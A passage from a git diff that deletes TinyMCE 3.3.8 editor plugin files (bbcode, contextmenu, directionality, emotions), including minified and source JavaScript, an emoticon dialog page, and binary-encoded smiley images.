/>");b(/\[b\]/gi,"<strong>");b(/\[\/b\]/gi,"</strong>");b(/\[i\]/gi,"<em>");b(/\[\/i\]/gi,"</em>");b(/\[u\]/gi,"<u>");b(/\[\/u\]/gi,"</u>");b(/\[url=([^\]]+)\](.*?)\[\/url\]/gi,'<a href="$1">$2</a>');b(/\[url\](.*?)\[\/url\]/gi,'<a href="$1">$1</a>');b(/\[img\](.*?)\[\/img\]/gi,'<img src="$1" />');b(/\[color=(.*?)\](.*?)\[\/color\]/gi,'<font color="$1">$2</font>');b(/\[code\](.*?)\[\/code\]/gi,'<span class="codeStyle">$1</span>&nbsp;');b(/\[quote.*?\](.*?)\[\/quote\]/gi,'<span class="quoteStyle">$1</span>&nbsp;');return a}});tinymce.PluginManager.add("bbcode",tinymce.plugins.BBCodePlugin)})(); \ No newline at end of file diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/bbcode/editor_plugin_src.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/bbcode/editor_plugin_src.js deleted file mode 100644 index 5586637..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/bbcode/editor_plugin_src.js +++ /dev/null @@ -1,120 +0,0 @@ -/** - * editor_plugin_src.js - * - * Copyright 2009, Moxiecode Systems AB - * Released under LGPL License. - * - * License: http://tinymce.moxiecode.com/license - * Contributing: http://tinymce.moxiecode.com/contributing - */ - -(function() { - tinymce.create('tinymce.plugins.BBCodePlugin', { - init : function(ed, url) { - var t = this, dialect = ed.getParam('bbcode_dialect', 'punbb').toLowerCase(); - - ed.onBeforeSetContent.add(function(ed, o) { - o.content = t['_' + dialect + '_bbcode2html'](o.content); - }); - - ed.onPostProcess.add(function(ed, o) { - if (o.set) - o.content = t['_' + dialect + '_bbcode2html'](o.content); - - if (o.get) - o.content = t['_' + dialect + '_html2bbcode'](o.content); - }); - }, - - getInfo : function() { - return { - longname : 'BBCode Plugin', - author : 'Moxiecode Systems AB', - authorurl : 'http://tinymce.moxiecode.com', - infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/bbcode', - version : tinymce.majorVersion + "." + tinymce.minorVersion - }; - }, - - // Private methods - - // HTML -> BBCode in PunBB dialect - _punbb_html2bbcode : function(s) { - s = tinymce.trim(s); - - function rep(re, str) { - s = s.replace(re, str); - }; - - // example: <strong> to [b] - rep(/<a.*?href=\"(.*?)\".*?>(.*?)<\/a>/gi,"[url=$1]$2[/url]"); - rep(/<font.*?color=\"(.*?)\".*?class=\"codeStyle\".*?>(.*?)<\/font>/gi,"[code][color=$1]$2[/color][/code]"); - rep(/<font.*?color=\"(.*?)\".*?class=\"quoteStyle\".*?>(.*?)<\/font>/gi,"[quote][color=$1]$2[/color][/quote]"); - rep(/<font.*?class=\"codeStyle\".*?color=\"(.*?)\".*?>(.*?)<\/font>/gi,"[code][color=$1]$2[/color][/code]"); - rep(/<font.*?class=\"quoteStyle\".*?color=\"(.*?)\".*?>(.*?)<\/font>/gi,"[quote][color=$1]$2[/color][/quote]"); - rep(/<span style=\"color: ?(.*?);\">(.*?)<\/span>/gi,"[color=$1]$2[/color]"); - rep(/<font.*?color=\"(.*?)\".*?>(.*?)<\/font>/gi,"[color=$1]$2[/color]"); - rep(/<span style=\"font-size:(.*?);\">(.*?)<\/span>/gi,"[size=$1]$2[/size]"); - rep(/<font>(.*?)<\/font>/gi,"$1"); - rep(/<img.*?src=\"(.*?)\".*?\/>/gi,"[img]$1[/img]"); - rep(/<span class=\"codeStyle\">(.*?)<\/span>/gi,"[code]$1[/code]"); - rep(/<span class=\"quoteStyle\">(.*?)<\/span>/gi,"[quote]$1[/quote]"); - rep(/<strong class=\"codeStyle\">(.*?)<\/strong>/gi,"[code][b]$1[/b][/code]"); - rep(/<strong class=\"quoteStyle\">(.*?)<\/strong>/gi,"[quote][b]$1[/b][/quote]"); - rep(/<em class=\"codeStyle\">(.*?)<\/em>/gi,"[code][i]$1[/i][/code]"); - rep(/<em class=\"quoteStyle\">(.*?)<\/em>/gi,"[quote][i]$1[/i][/quote]"); - rep(/<u class=\"codeStyle\">(.*?)<\/u>/gi,"[code][u]$1[/u][/code]"); - rep(/<u class=\"quoteStyle\">(.*?)<\/u>/gi,"[quote][u]$1[/u][/quote]"); - rep(/<\/(strong|b)>/gi,"[/b]"); - rep(/<(strong|b)>/gi,"[b]"); - rep(/<\/(em|i)>/gi,"[/i]"); - rep(/<(em|i)>/gi,"[i]"); - rep(/<\/u>/gi,"[/u]"); - rep(/<span style=\"text-decoration: ?underline;\">(.*?)<\/span>/gi,"[u]$1[/u]"); - rep(/<u>/gi,"[u]"); - rep(/<blockquote[^>]*>/gi,"[quote]"); - rep(/<\/blockquote>/gi,"[/quote]"); - rep(/<br \/>/gi,"\n"); - rep(/<br\/>/gi,"\n"); - rep(/<br>/gi,"\n"); - rep(/<p>/gi,""); - rep(/<\/p>/gi,"\n"); - rep(/&nbsp;/gi," "); - rep(/&quot;/gi,"\""); - rep(/&lt;/gi,"<"); - rep(/&gt;/gi,">"); - rep(/&amp;/gi,"&"); - - return s; - }, - - // BBCode -> HTML from PunBB dialect - _punbb_bbcode2html : function(s) { - s = tinymce.trim(s); - - function rep(re, str) { - s = s.replace(re, str); - }; - - // example: [b] to <strong> - rep(/\n/gi,"<br />"); - rep(/\[b\]/gi,"<strong>"); - rep(/\[\/b\]/gi,"</strong>"); - rep(/\[i\]/gi,"<em>"); - rep(/\[\/i\]/gi,"</em>"); - rep(/\[u\]/gi,"<u>"); - rep(/\[\/u\]/gi,"</u>"); - rep(/\[url=([^\]]+)\](.*?)\[\/url\]/gi,"<a href=\"$1\">$2</a>"); - rep(/\[url\](.*?)\[\/url\]/gi,"<a href=\"$1\">$1</a>"); - rep(/\[img\](.*?)\[\/img\]/gi,"<img src=\"$1\" />"); - rep(/\[color=(.*?)\](.*?)\[\/color\]/gi,"<font color=\"$1\">$2</font>"); - rep(/\[code\](.*?)\[\/code\]/gi,"<span class=\"codeStyle\">$1</span>&nbsp;"); - rep(/\[quote.*?\](.*?)\[\/quote\]/gi,"<span class=\"quoteStyle\">$1</span>&nbsp;"); - - return s; - } - }); - - // Register plugin - tinymce.PluginManager.add('bbcode', tinymce.plugins.BBCodePlugin); -})(); \ No newline at end of file diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/contextmenu/editor_plugin.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/contextmenu/editor_plugin.js deleted file mode 100644 index 9749e51..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/contextmenu/editor_plugin.js +++ /dev/null @@ -1 +0,0 @@ -(function(){var a=tinymce.dom.Event,c=tinymce.each,b=tinymce.DOM;tinymce.create("tinymce.plugins.ContextMenu",{init:function(d){var f=this,g;f.editor=d;f.onContextMenu=new tinymce.util.Dispatcher(this);d.onContextMenu.add(function(h,i){if(!i.ctrlKey){if(g){h.selection.setRng(g)}f._getMenu(h).showMenu(i.clientX,i.clientY);a.add(h.getDoc(),"click",function(j){e(h,j)});a.cancel(i)}});d.onRemove.add(function(){if(f._menu){f._menu.removeAll()}});function e(h,i){g=null;if(i&&i.button==2){g=h.selection.getRng();return}if(f._menu){f._menu.removeAll();f._menu.destroy();a.remove(h.getDoc(),"click",e)}}d.onMouseDown.add(e);d.onKeyDown.add(e)},getInfo:function(){return{longname:"Contextmenu",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/contextmenu",version:tinymce.majorVersion+"."+tinymce.minorVersion}},_getMenu:function(h){var l=this,f=l._menu,i=h.selection,e=i.isCollapsed(),d=i.getNode()||h.getBody(),g,k,j;if(f){f.removeAll();f.destroy()}k=b.getPos(h.getContentAreaContainer());j=b.getPos(h.getContainer());f=h.controlManager.createDropMenu("contextmenu",{offset_x:k.x+h.getParam("contextmenu_offset_x",0),offset_y:k.y+h.getParam("contextmenu_offset_y",0),constrain:1});l._menu=f;f.add({title:"advanced.cut_desc",icon:"cut",cmd:"Cut"}).setDisabled(e);f.add({title:"advanced.copy_desc",icon:"copy",cmd:"Copy"}).setDisabled(e);f.add({title:"advanced.paste_desc",icon:"paste",cmd:"Paste"});if((d.nodeName=="A"&&!h.dom.getAttrib(d,"name"))||!e){f.addSeparator();f.add({title:"advanced.link_desc",icon:"link",cmd:h.plugins.advlink?"mceAdvLink":"mceLink",ui:true});f.add({title:"advanced.unlink_desc",icon:"unlink",cmd:"UnLink"})}f.addSeparator();f.add({title:"advanced.image_desc",icon:"image",cmd:h.plugins.advimage?"mceAdvImage":"mceImage",ui:true});f.addSeparator();g=f.addMenu({title:"contextmenu.align"});g.add({title:"contextmenu.left",icon:"justifyleft",cmd:"JustifyLeft"});g.add({title:"contextmenu.center",icon:"justifycenter",cmd:"JustifyCenter"});g.add({title:"contextmenu.right",icon:"justifyright",cmd:"JustifyRight"});g.add({title:"contextmenu.full",icon:"justifyfull",cmd:"JustifyFull"});l.onContextMenu.dispatch(l,f,d,e);return f}});tinymce.PluginManager.add("contextmenu",tinymce.plugins.ContextMenu)})(); \ No newline at end of file diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/contextmenu/editor_plugin_src.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/contextmenu/editor_plugin_src.js deleted file mode 100644 index 13813a6..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/contextmenu/editor_plugin_src.js +++ /dev/null @@ -1,147 +0,0 @@ -/** - * editor_plugin_src.js - * - * Copyright 2009, Moxiecode Systems AB - * Released under LGPL License. - * - * License: http://tinymce.moxiecode.com/license - * Contributing: http://tinymce.moxiecode.com/contributing - */ - -(function() { - var Event = tinymce.dom.Event, each = tinymce.each, DOM = tinymce.DOM; - - /** - * This plugin a context menu to TinyMCE editor instances. - * - * @class tinymce.plugins.ContextMenu - */ - tinymce.create('tinymce.plugins.ContextMenu', { - /** - * Initializes the plugin, this will be executed after the plugin has been created. - * This call is done before the editor instance has finished it's initialization so use the onInit event - * of the editor instance to intercept that event. - * - * @method init - * @param {tinymce.Editor} ed Editor instance that the plugin is initialized in. - * @param {string} url Absolute URL to where the plugin is located. - */ - init : function(ed) { - var t = this, lastRng; - - t.editor = ed; - - /** - * This event gets fired when the context menu is shown. - * - * @event onContextMenu - * @param {tinymce.plugins.ContextMenu} sender Plugin instance sending the event. - * @param {tinymce.ui.DropMenu} menu Drop down menu to fill with more items if needed. - */ - t.onContextMenu = new tinymce.util.Dispatcher(this); - - ed.onContextMenu.add(function(ed, e) { - if (!e.ctrlKey) { - // Restore the last selection since it was removed - if (lastRng) - ed.selection.setRng(lastRng); - - t._getMenu(ed).showMenu(e.clientX, e.clientY); - Event.add(ed.getDoc(), 'click', function(e) { - hide(ed, e); - }); - Event.cancel(e); - } - }); - - ed.onRemove.add(function() { - if (t._menu) - t._menu.removeAll(); - }); - - function hide(ed, e) { - lastRng = null; - - // Since the contextmenu event moves - // the selection we need to store it away - if (e && e.button == 2) { - lastRng = ed.selection.getRng(); - return; - } - - if (t._menu) { - t._menu.removeAll(); - t._menu.destroy(); - Event.remove(ed.getDoc(), 'click', hide); - } - }; - - ed.onMouseDown.add(hide); - ed.onKeyDown.add(hide); - }, - - /** - * Returns information about the plugin as a name/value array. - * The current keys are longname, author, authorurl, infourl and version. - * - * @method getInfo - * @return {Object} Name/value array containing information about the plugin. - */ - getInfo : function() { - return { - longname : 'Contextmenu', - author : 'Moxiecode Systems AB', - authorurl : 'http://tinymce.moxiecode.com', - infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/contextmenu', - version : tinymce.majorVersion + "." + tinymce.minorVersion - }; - }, - - _getMenu : function(ed) { - var t = this, m = t._menu, se = ed.selection, col = se.isCollapsed(), el = se.getNode() || ed.getBody(), am, p1, p2; - - if (m) { - m.removeAll(); - m.destroy(); - } - - p1 = DOM.getPos(ed.getContentAreaContainer()); - p2 = DOM.getPos(ed.getContainer()); - - m = ed.controlManager.createDropMenu('contextmenu', { - offset_x : p1.x + ed.getParam('contextmenu_offset_x', 0), - offset_y : p1.y + ed.getParam('contextmenu_offset_y', 0), - constrain : 1 - }); - - t._menu = m; - - m.add({title : 'advanced.cut_desc', icon : 'cut', cmd : 'Cut'}).setDisabled(col); - m.add({title : 'advanced.copy_desc', icon : 'copy', cmd : 'Copy'}).setDisabled(col); - m.add({title : 'advanced.paste_desc', icon : 'paste', cmd : 'Paste'}); - - if ((el.nodeName == 'A' && !ed.dom.getAttrib(el, 'name')) || !col) { - m.addSeparator(); - m.add({title : 'advanced.link_desc', icon : 'link', cmd : ed.plugins.advlink ? 'mceAdvLink' : 'mceLink', ui : true}); - m.add({title : 'advanced.unlink_desc', icon : 'unlink', cmd : 'UnLink'}); - } - - m.addSeparator(); - m.add({title : 'advanced.image_desc', icon : 'image', cmd : ed.plugins.advimage ? 'mceAdvImage' : 'mceImage', ui : true}); - - m.addSeparator(); - am = m.addMenu({title : 'contextmenu.align'}); - am.add({title : 'contextmenu.left', icon : 'justifyleft', cmd : 'JustifyLeft'}); - am.add({title : 'contextmenu.center', icon : 'justifycenter', cmd : 'JustifyCenter'}); - am.add({title : 'contextmenu.right', icon : 'justifyright', cmd : 'JustifyRight'}); - am.add({title : 'contextmenu.full', icon : 'justifyfull', cmd : 'JustifyFull'}); - - t.onContextMenu.dispatch(t, m, el, col); - - return m; - } - }); - - // Register plugin - tinymce.PluginManager.add('contextmenu', tinymce.plugins.ContextMenu); -})(); \ No newline at end of file diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/directionality/editor_plugin.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/directionality/editor_plugin.js deleted file mode 100644 index bce8e73..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/directionality/editor_plugin.js +++ /dev/null @@ -1 +0,0 @@ -(function(){tinymce.create("tinymce.plugins.Directionality",{init:function(a,b){var c=this;c.editor=a;a.addCommand("mceDirectionLTR",function(){var d=a.dom.getParent(a.selection.getNode(),a.dom.isBlock);if(d){if(a.dom.getAttrib(d,"dir")!="ltr"){a.dom.setAttrib(d,"dir","ltr")}else{a.dom.setAttrib(d,"dir","")}}a.nodeChanged()});a.addCommand("mceDirectionRTL",function(){var d=a.dom.getParent(a.selection.getNode(),a.dom.isBlock);if(d){if(a.dom.getAttrib(d,"dir")!="rtl"){a.dom.setAttrib(d,"dir","rtl")}else{a.dom.setAttrib(d,"dir","")}}a.nodeChanged()});a.addButton("ltr",{title:"directionality.ltr_desc",cmd:"mceDirectionLTR"});a.addButton("rtl",{title:"directionality.rtl_desc",cmd:"mceDirectionRTL"});a.onNodeChange.add(c._nodeChange,c)},getInfo:function(){return{longname:"Directionality",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/directionality",version:tinymce.majorVersion+"."+tinymce.minorVersion}},_nodeChange:function(b,a,e){var d=b.dom,c;e=d.getParent(e,d.isBlock);if(!e){a.setDisabled("ltr",1);a.setDisabled("rtl",1);return}c=d.getAttrib(e,"dir");a.setActive("ltr",c=="ltr");a.setDisabled("ltr",0);a.setActive("rtl",c=="rtl");a.setDisabled("rtl",0)}});tinymce.PluginManager.add("directionality",tinymce.plugins.Directionality)})(); \ No newline at end of file diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/directionality/editor_plugin_src.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/directionality/editor_plugin_src.js deleted file mode 100644 index 4444959..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/directionality/editor_plugin_src.js +++ /dev/null @@ -1,82 +0,0 @@ -/** - * editor_plugin_src.js - * - * Copyright 2009, Moxiecode Systems AB - * Released under LGPL License. - * - * License: http://tinymce.moxiecode.com/license - * Contributing: http://tinymce.moxiecode.com/contributing - */ - -(function() { - tinymce.create('tinymce.plugins.Directionality', { - init : function(ed, url) { - var t = this; - - t.editor = ed; - - ed.addCommand('mceDirectionLTR', function() { - var e = ed.dom.getParent(ed.selection.getNode(), ed.dom.isBlock); - - if (e) { - if (ed.dom.getAttrib(e, "dir") != "ltr") - ed.dom.setAttrib(e, "dir", "ltr"); - else - ed.dom.setAttrib(e, "dir", ""); - } - - ed.nodeChanged(); - }); - - ed.addCommand('mceDirectionRTL', function() { - var e = ed.dom.getParent(ed.selection.getNode(), ed.dom.isBlock); - - if (e) { - if (ed.dom.getAttrib(e, "dir") != "rtl") - ed.dom.setAttrib(e, "dir", "rtl"); - else - ed.dom.setAttrib(e, "dir", ""); - } - - ed.nodeChanged(); - }); - - ed.addButton('ltr', {title : 'directionality.ltr_desc', cmd : 'mceDirectionLTR'}); - ed.addButton('rtl', {title : 'directionality.rtl_desc', cmd : 'mceDirectionRTL'}); - - ed.onNodeChange.add(t._nodeChange, t); - }, - - getInfo : function() { - return { - longname : 'Directionality', - author : 'Moxiecode Systems AB', - authorurl : 'http://tinymce.moxiecode.com', - infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/directionality', - version : tinymce.majorVersion + "." + tinymce.minorVersion - }; - }, - - // Private methods - - _nodeChange : function(ed, cm, n) { - var dom = ed.dom, dir; - - n = dom.getParent(n, dom.isBlock); - if (!n) { - cm.setDisabled('ltr', 1); - cm.setDisabled('rtl', 1); - return; - } - - dir = dom.getAttrib(n, 'dir'); - cm.setActive('ltr', dir == "ltr"); - cm.setDisabled('ltr', 0); - cm.setActive('rtl', dir == "rtl"); - cm.setDisabled('rtl', 0); - } - }); - - // Register plugin - tinymce.PluginManager.add('directionality', tinymce.plugins.Directionality); -})(); \ No newline at end of file diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/emotions/editor_plugin.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/emotions/editor_plugin.js deleted file mode 100644 index dbdd8ff..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/emotions/editor_plugin.js +++ /dev/null @@ -1 +0,0 @@ -(function(a){a.create("tinymce.plugins.EmotionsPlugin",{init:function(b,c){b.addCommand("mceEmotion",function(){b.windowManager.open({file:c+"/emotions.htm",width:250+parseInt(b.getLang("emotions.delta_width",0)),height:160+parseInt(b.getLang("emotions.delta_height",0)),inline:1},{plugin_url:c})});b.addButton("emotions",{title:"emotions.emotions_desc",cmd:"mceEmotion"})},getInfo:function(){return{longname:"Emotions",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/emotions",version:a.majorVersion+"."+a.minorVersion}}});a.PluginManager.add("emotions",a.plugins.EmotionsPlugin)})(tinymce); \ No newline at end of file diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/emotions/editor_plugin_src.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/emotions/editor_plugin_src.js deleted file mode 100644 index 71d5416..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/emotions/editor_plugin_src.js +++ /dev/null @@ -1,43 +0,0 @@ -/** - * editor_plugin_src.js - * - * Copyright 2009, Moxiecode Systems AB - * Released under LGPL License. - * - * License: http://tinymce.moxiecode.com/license - * Contributing: http://tinymce.moxiecode.com/contributing - */ - -(function(tinymce) { - tinymce.create('tinymce.plugins.EmotionsPlugin', { - init : function(ed, url) { - // Register commands - ed.addCommand('mceEmotion', function() { - ed.windowManager.open({ - file : url + '/emotions.htm', - width : 250 + parseInt(ed.getLang('emotions.delta_width', 0)), - height : 160 + parseInt(ed.getLang('emotions.delta_height', 0)), - inline : 1 - }, { - plugin_url : url - }); - }); - - // Register buttons - ed.addButton('emotions', {title : 'emotions.emotions_desc', cmd : 'mceEmotion'}); - }, - - getInfo : function() { - return { - longname : 'Emotions', - author : 'Moxiecode Systems AB', - authorurl : 'http://tinymce.moxiecode.com', - infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/emotions', - version : tinymce.majorVersion + "." + tinymce.minorVersion - }; - } - }); - - // Register plugin - tinymce.PluginManager.add('emotions', tinymce.plugins.EmotionsPlugin); -})(tinymce); \ No newline at end of file diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/emotions/emotions.htm b/tinymce-3.3.8/jscripts/tiny_mce/plugins/emotions/emotions.htm deleted file mode 100644 index 55a1d72..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/emotions/emotions.htm +++ /dev/null @@ -1,40 +0,0 @@ -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> -<html xmlns="http://www.w3.org/1999/xhtml"> -<head> - <title>{#emotions_dlg.title}</title> - <script type="text/javascript" src="../../tiny_mce_popup.js"></script> - <script type="text/javascript" src="js/emotions.js"></script> -</head> -<body style="display: none"> - <div align="center"> - <div class="title">{#emotions_dlg.title}:<br /><br /></div> - - <table border="0" cellspacing="0" cellpadding="4"> - <tr> - <td><a href="javascript:EmotionsDialog.insert('smiley-cool.gif','emotions_dlg.cool');"><img src="img/smiley-cool.gif" width="18" height="18" border="0" alt="{#emotions_dlg.cool}" title="{#emotions_dlg.cool}" /></a></td> - <td><a href="javascript:EmotionsDialog.insert('smiley-cry.gif','emotions_dlg.cry');"><img src="img/smiley-cry.gif" width="18" height="18" border="0" alt="{#emotions_dlg.cry}" title="{#emotions_dlg.cry}" /></a></td> - <td><a href="javascript:EmotionsDialog.insert('smiley-embarassed.gif','emotions_dlg.embarassed');"><img src="img/smiley-embarassed.gif" width="18" height="18" border="0" alt="{#emotions_dlg.embarassed}" title="{#emotions_dlg.embarassed}" /></a></td> - <td><a href="javascript:EmotionsDialog.insert('smiley-foot-in-mouth.gif','emotions_dlg.foot_in_mouth');"><img src="img/smiley-foot-in-mouth.gif" width="18" height="18" border="0" alt="{#emotions_dlg.foot_in_mouth}" title="{#emotions_dlg.foot_in_mouth}" /></a></td> - </tr> - <tr> - <td><a href="javascript:EmotionsDialog.insert('smiley-frown.gif','emotions_dlg.frown');"><img src="img/smiley-frown.gif" width="18" height="18" border="0" alt="{#emotions_dlg.frown}" title="{#emotions_dlg.frown}" /></a></td> - <td><a href="javascript:EmotionsDialog.insert('smiley-innocent.gif','emotions_dlg.innocent');"><img src="img/smiley-innocent.gif" width="18" height="18" border="0" alt="{#emotions_dlg.innocent}" title="{#emotions_dlg.innocent}" /></a></td> - <td><a href="javascript:EmotionsDialog.insert('smiley-kiss.gif','emotions_dlg.kiss');"><img src="img/smiley-kiss.gif" width="18" height="18" border="0" alt="{#emotions_dlg.kiss}" title="{#emotions_dlg.kiss}" /></a></td> - <td><a href="javascript:EmotionsDialog.insert('smiley-laughing.gif','emotions_dlg.laughing');"><img src="img/smiley-laughing.gif" width="18" height="18" border="0" alt="{#emotions_dlg.laughing}" title="{#emotions_dlg.laughing}" /></a></td> - </tr> - <tr> - <td><a href="javascript:EmotionsDialog.insert('smiley-money-mouth.gif','emotions_dlg.money_mouth');"><img src="img/smiley-money-mouth.gif" width="18" height="18" border="0" alt="{#emotions_dlg.money_mouth}" title="{#emotions_dlg.money_mouth}" /></a></td> - <td><a href="javascript:EmotionsDialog.insert('smiley-sealed.gif','emotions_dlg.sealed');"><img src="img/smiley-sealed.gif" width="18" height="18" border="0" alt="{#emotions_dlg.sealed}" title="{#emotions_dlg.sealed}" /></a></td> - <td><a href="javascript:EmotionsDialog.insert('smiley-smile.gif','emotions_dlg.smile');"><img src="img/smiley-smile.gif" width="18" height="18" border="0" alt="{#emotions_dlg.smile}" title="{#emotions_dlg.smile}" /></a></td> - <td><a href="javascript:EmotionsDialog.insert('smiley-surprised.gif','emotions_dlg.surprised');"><img src="img/smiley-surprised.gif" width="18" height="18" border="0" alt="{#emotions_dlg.surprised}" title="{#emotions_dlg.surprised}" /></a></td> - </tr> - <tr> - <td><a href="javascript:EmotionsDialog.insert('smiley-tongue-out.gif','emotions_dlg.tongue_out');"><img src="img/smiley-tongue-out.gif" width="18" height="18" border="0" alt="{#emotions_dlg.tongue-out}" title="{#emotions_dlg.tongue_out}" /></a></td> - <td><a href="javascript:EmotionsDialog.insert('smiley-undecided.gif','emotions_dlg.undecided');"><img src="img/smiley-undecided.gif" width="18" height="18" border="0" alt="{#emotions_dlg.undecided}" title="{#emotions_dlg.undecided}" /></a></td> - <td><a href="javascript:EmotionsDialog.insert('smiley-wink.gif','emotions_dlg.wink');"><img src="img/smiley-wink.gif" width="18" height="18" border="0" alt="{#emotions_dlg.wink}" title="{#emotions_dlg.wink}" /></a></td> - <td><a href="javascript:EmotionsDialog.insert('smiley-yell.gif','emotions_dlg.yell');"><img src="img/smiley-yell.gif" width="18" height="18" border="0" alt="{#emotions_dlg.yell}" title="{#emotions_dlg.yell}" /></a></td> - </tr> - </table> - </div> -</body> -</html> diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/emotions/img/smiley-cool.gif b/tinymce-3.3.8/jscripts/tiny_mce/plugins/emotions/img/smiley-cool.gif deleted file mode 100644 index ba90cc36fb0415d0273d1cd206bff63fd9c91fde..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 354 zcmV-o0iFIwNk%w1VG;lm0Mr!#3ke00dJfFY%i+lrhK7V(RutUQJhPY;?(XfrsZKgL z7WLQ^zPO&zzav{)SL^9nBOw~z(=orMEH5uC-P_gr`uhCnASMa|$-iRw?m_(dUwU8) zq>Kx}s1_F$4FCWDA^8LW0018VEC2ui01^Na000Hw;3tYzX_jM3Qpv$_M?zI9i5=0S zX-{-uv=l<p*=3HIT}Of#RazKBq;Z@YZV4Iz0#Fnb06?MO>3%&P0s%m9Ox_a(m_c|u z01g3U0`Wll5)poVdma=N8y<3f0Sf~hXmTC}2oxMW4FdxUj+z4<0}lrX2nP=qkDRIt z9Ge*(qzMrj3jrIOjvI{`5eWzt3`G_T8yChG8w(a19SkK12@M(+799Zr9n=~PzBCmA z5)BU-)YKUd4H5!D9|!^o9kWIe9SH(WDHRk92}DZ?3})2$P@$55g90f0N)ZA8JID5J Aw*UYD diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/emotions/img/smiley-cry.gif b/tinymce-3.3.8/jscripts/tiny_mce/plugins/emotions/img/smiley-cry.gif deleted file mode 100644 index 74d897a4f6d22e814e2b054e98b8a75fb464b4be..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 329 zcmV-P0k-}}Nk%w1VG;lm0Mr-&E)xPSit@9T3%;vR+|V+?t0A(pllJjXrMl7n=_A_a za^B+Su$LjvyC3@TIQZNZa##w=!k(SO^P#bO*w(eU#;{U83XFCU_V)J5wrb+;g2vkN z#>U24qVoOvY5)KLA^8LW0018VEC2ui01^Na000HX;3tY$X_jM3QUfCh%s^o(nF++< zc?Th6v=oL>*by8K!mhvwelUXuuW&&U9iGO3hM@>Njw{l^#0q9mWpcefdI;O$;efnY zkd~@r-o$*74FCWI1%d((4+jDz0va0>69^fI6%`W{8w!gU1pyL>prH>E0R<%k6Aq%H z4ij+^9TEwM5P}eh2@)L<B?|!!2MHGf4Gk9;2?q@U3tR{Vzzzx13409%2tlM00|hxd bJp}{XBh3p2-Gt%><~6+>@EpxfA0YrcPNsSu diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/emotions/img/smiley-embarassed.gif b/tinymce-3.3.8/jscripts/tiny_mce/plugins/emotions/img/smiley-embarassed.gif deleted file mode 100644 index 963a96b8a7593b1d8bcbab073abe5ee4e539dbf6..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 331 zcmV-R0kr-{Nk%w1VG;lm0MrryDh>j~yq&6%75dW~z^P39(NxsGDE{UkxtkIEq(S-a zRKlwv+S=Lr?>hbYY~sQ?c3T&ZcN_Nh_E<O%#>U3s(>Io6B&>WW`@bsw**)Ocy1bht z{*G6|uwwqUQ2+n{A^8LW0018VEC2ui01^Na000HZ;3tYwX_jM3YQ!c88=*-m*&&bO zILd=`w3KAC;8hxpif*w9ek6oqV-Z0L77fROK$B<?js^^gTnMs=8C02!K#=aEqQaFR z6pBm+GC@uzdU#EC4h0?_7ZwKt5f%vv7zzj_2!<RSkOKo436}{4lS7u67@C}(1%m_+ z1&^hgn~wz#bpZ=`7y=Uj023D&843#lB@6@x3J1!|$_fSq3|$Nh$PLU5&I{2a5)2&+ dN;`849os?-0Z|L<1OetM#T4=s(M}&B06V4ic~SrX diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/emotions/img/smiley-foot-in-mouth.gif b/tinymce-3.3.8/jscripts/tiny_mce/plugins/emotions/img/smiley-foot-in-mouth.gif deleted file mode 100644 index 16f68cc1e91a9b8ec6cfa0ba4e0c86f94b177f1a..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 344 zcmV-e0jK^)Nk%w1VG;lm0MrlwCJF+^#>SR@5BAv-%C>6y>>#+D4e#&nz^qMDItlpp zTG728+|V&?R13PIEBW(C`uh6d*t-1sZ^XQv;oDD}iYLOV7uVO;{`xl4#4tJ{0;h@! z>)kfFn;iS@Hvj+tA^8LW0018VEC2ui01^Na000Hm;3tYuX_jM3Mo7199TGt*Nf;R= zNmOPKwA8_2Q6MTDP6eT`I1VESVj-zGIG(JdB3U44kcdI@;AAq{Gv^^O%%ltj2GdB) z>vIL;d*~=0a|w1Bf^!cF9R~+vb94;_0}TxWlnMrlj2MuVoSYAreF`3(0|pHS8VLgr zi3bP_qZ<Mn4FCY94IX<35EDfUw!s<#2@6dVC9cMT8yWxt76K1mydMx34#t`b3jz%k q3l0}S9|so*77T}f85Rf^P$}0F2t-Z@6XP}3<^lcz@W_1#0RTHjS$aSK diff --git 